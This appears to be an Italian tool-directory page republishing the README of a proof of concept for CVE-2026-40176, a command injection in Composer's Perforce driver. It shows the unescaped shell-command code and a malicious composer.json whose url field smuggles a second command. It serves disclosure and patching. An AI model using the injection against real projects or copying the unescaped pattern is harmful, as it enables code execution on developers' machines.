Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-40176-poc — Proof-of-concept per CVE-2026-40176, un'iniezione di comandi del sistema operativo nel driver Perforce di Composer che consente l'esecuzione remota di codice tramite un composer.json appositamente predisposto. | Kitploit
Strumenti/GitHubGitHub/saku0512/cve-2026-40176-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCommand and ControlApprendimento e FormazioneSviluppo Payload
GitHubsaku0512/cve-2026-40176-poc

CVE-2026-40176-poc

Proof-of-concept per CVE-2026-40176, un'iniezione di comandi del sistema operativo nel driver Perforce di Composer che consente l'esecuzione remota di codice tramite un composer.json appositamente predisposto.

Vedi Repository
293 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-40176: Composer Perforce OS Command Injection PoC

English version

Panoramica

Questo repository è un Proof of Concept (PoC) per la vulnerabilità critica di OS command injection CVE-2026-40176 presente nel driver VCS Perforce di Composer. La vulnerabilità interessa le versioni di Composer precedenti alla 2.2.27 e 2.9.6.

La vulnerabilità risiede nel metodo Perforce::generateP4Command(). Durante la costruzione dei comandi shell, la sanificazione dei valori di configurazione del repository come url, p4user e client è insufficiente, consentendo a un aggressore di utilizzare un composer.json controllato per eseguire comandi arbitrari quando la vittima esegue composer install o composer update.

Scoperto da: saku0512 (GitHub)

Disclaimer

Questo progetto è destinato esclusivamente a scopi educativi e a verifiche di sicurezza etiche autorizzate.

L'autore non si assume alcuna responsabilità per l'uso improprio, danni o attività illegali derivanti da questo strumento. L'accesso non autorizzato a sistemi informatici è illegale. Utilizzando questo software, accetti di effettuare verifiche di sicurezza solo in ambienti per i quali hai ottenuto esplicita autorizzazione.

Dettagli della vulnerabilità

  • CVE ID: CVE-2026-40176
  • Tipo: OS command injection (CWE-78)
  • Impatto: Esecuzione remota di codice (RCE)
  • Versioni interessate:
    • Composer 2.0.0 <= v2.2.26
    • Composer 2.3.0 <= v2.9.5
  • Versioni corrette: v2.2.27 / v2.9.6

Causa principale

Nel metodo generateP4Command() di src/Composer/Util/Perforce.php, le stringhe ottenute dalla configurazione del repository vengono concatenate direttamente per costruire comandi shell.

$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' ';   // non escaped
if ($useClient) {
    $p4Command .= '-c ' . $this->getClient() . ' '; // non escaped
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // non escaped

Se questi valori contengono metacaratteri shell come ;, &, |, vengono interpretati dalla shell, portando a un'iniezione di comandi.

Utilizzo del PoC

1. Preparazione dell'ambiente

Assicurati che PHP sia installato. Questo PoC replica la logica vulnerabile all'interno di Composer.

# Verifica versione PHP
php -v

2. Esempio di configurazione (composer.json malevolo)

Un aggressore può creare un composer.json come il seguente:

{
    "repositories": [
        {
            "type": "perforce",
            "url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
            "depot": "depot"
        }
    ],
    "require": {
        "some/package": "dev-master"
    }
}

3. Esecuzione del PoC

Il file poc.php incluso replica la generazione interna di comandi e la logica di esecuzione di una versione vulnerabile di Composer.

# Esegui PoC
php poc.php

4. Verifica

Verifica se il file creato dal payload esiste per confermare l'esecuzione del comando.

ls -l /tmp/pwned_rce_confirmed

Se il file esiste, è possibile confermare che l'RCE ha avuto successo.

Mitigazione

Aggiorna immediatamente Composer all'ultima versione.

composer self-update

La correzione applica ProcessExecutor::escape() a tutti gli argomenti derivanti da input utente per prevenire l'interpretazione da parte della shell.

Riferimenti

  • CVE-2026-40176 (cve.org)
  • Composer Security Advisory
Scarica lo strumento